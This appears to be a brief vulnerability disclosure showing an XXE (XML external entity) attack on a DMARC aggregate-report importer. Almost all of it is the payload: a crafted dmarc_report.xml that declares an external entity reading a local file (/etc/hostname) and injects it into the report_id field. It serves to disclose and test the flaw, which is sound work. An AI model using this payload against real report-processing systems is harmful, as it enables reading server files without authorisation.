XXE during import of aggregated DMARC report

dmarc_report.xml

<!DOCTYPE foo [
	<!ENTITY xxe SYSTEM "file://etc/hostname" >
]
>

<feedback>
  <report_metadata>
    <org_name>ngyn</org_name>
    <email>abuse@163.com</email>
    <report_id>&xxe;</report_id>
    <date_range>
      <begin>1436054400</begin>
      <end>1436140799</end>
    </date_range>
  </report_metadata>
  <policy_published>
    <domain>ngyn.org</domain>
    <adkim>s</adkim>
    <aspf>s</aspf>
    <p>none</p>
    <sp>none</sp>
    <pct>5</pct>
  </policy_published>
  <record>
    <row>
      <source_ip>115.202.65.235</source_ip>
      <count>1</count>
      <policy_evaluated>
        <disposition>none</disposition>
        <dkim>fail</dkim>
        <spf>fail</spf>
      </policy_evaluated>
    </row>
    <identifiers>
      <header_from>u.ngyn.org</header_from>
    </identifiers>
    <auth_results>
      <spf>
        <domain>u.ngyn.org</domain>
        <result>none</result>
      </spf>
    </auth_results>
  </record>
</feedback>